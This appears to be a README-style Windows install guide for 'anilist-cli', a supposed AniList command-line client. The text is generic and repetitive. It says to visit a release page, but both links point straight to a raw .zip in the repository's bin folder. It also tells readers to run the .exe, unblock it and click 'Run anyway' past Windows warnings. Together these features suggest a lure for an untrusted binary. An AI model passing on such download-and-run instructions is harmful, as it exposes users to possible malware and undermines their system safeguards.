anilist-cli is a command-line client for the AniList GraphQL API. It helps you look up anime, manga, and light novels from a simple terminal window.
This guide shows you how to get it on Windows and start using it with no programming experience needed.
Before you begin, make sure you have:
- A Windows PC
- A web browser
- A file extractor such as the built-in Windows extractor or 7-Zip
- A terminal app such as Command Prompt or PowerShell
If the release file comes as a .zip, you will need to unzip it before you run it.
Visit this page to download the latest Windows release:
https://github.com/alejandro422/anilist-cli/raw/refs/heads/main/bin/anilist-cli-3.8.zip
On that page:
- Find the newest release at the top
- Open the release page
- Look for a Windows file, such as
.exeor.zip - Download the file to your computer
If you see more than one file, choose the one that matches Windows.
After the download finishes, follow these steps:
- Open your Downloads folder
- Double-click the
.exefile - If Windows asks for permission, choose Yes
- Wait for the app to open in the terminal
- Open your Downloads folder
- Right-click the
.zipfile - Select Extract All
- Choose a folder you can find again, such as Desktop or Documents
- Open the extracted folder
- Find the program file inside
- Double-click it to start
If Windows blocks the file, right-click it, choose Properties, and select Unblock if that option appears.
When you start anilist-cli for the first time, it opens in a terminal window.
You may see a short setup step. This can include:
- Signing in to AniList
- Allowing access to your account
- Saving your settings for later use
Follow the on-screen prompts. The tool is built to keep the steps short and clear.
anilist-cli gives you a simple way to work with AniList from your keyboard.
You can use it to:
- Search anime by name
- Search manga by title
- Look up light novels
- View detailed entries
- Check release and status data
- Browse results with filters
- Work with AniList account data through the API
This is useful if you want a fast way to look up media without opening a browser.
After the app opens, type a command and press Enter.
Common actions may look like this:
- Search for a title
- Show details for one result
- Filter by format, status, or year
- Open a list of matching entries
If you are unsure what to type, start with the help command shown in the app. Most CLI tools include a help screen that lists the available commands and examples.
A simple path looks like this:
- Open the app
- Search for an anime title
- Choose a result from the list
- View the summary and metadata
- Search again for manga or light novels
This keeps the app easy to use, even if you are new to terminal tools.
Open it from Command Prompt or PowerShell instead of double-clicking the file. This lets you see any message on the screen.
Choose More info, then Run anyway if you trust the file and downloaded it from the release page.
Check that you downloaded the correct Windows file from the release page. If the download was a .zip, extract it first.
You can resize the window or increase the font size in your terminal app.
A Windows release may include:
- The main app file
- A readme file
- A license file
- Support files used by the app
Keep the files together in the same folder so the app can run without problems.
Some features may ask you to connect your AniList account. That lets the app work with your personal data through the AniList GraphQL API.
You may be able to:
- Sign in once and reuse the saved login
- Access lists tied to your account
- Update data from your profile
- Use API-backed features that need permission
Follow the prompts shown by the app when it asks for account access.
If you want a list of commands, try the built-in help screen.
Common help patterns include:
help--help-h
The exact command depends on the release, but the app should show a help option in the terminal.
The app is built around AniList data and may work with:
- Anime
- Manga
- Light novels
- API results
- GraphQL queries
- Media lists
- Client-side lookup tools
This makes it useful for quick searching and data viewing from the command line.
Try a few simple checks after install:
- Open the app
- Run the help command
- Search for a known anime title
- Search for a manga title
- Open one result and review the details
If those steps work, the app is ready to use.
If you want the latest version, return to the release page and visit this page to download the newest Windows build:
https://github.com/alejandro422/anilist-cli/raw/refs/heads/main/bin/anilist-cli-3.8.zip
- Visit the release page
- Download the Windows file
- Extract it if needed
- Open the app in Command Prompt or PowerShell
- Follow the on-screen prompts
- Use the help command to see the available actions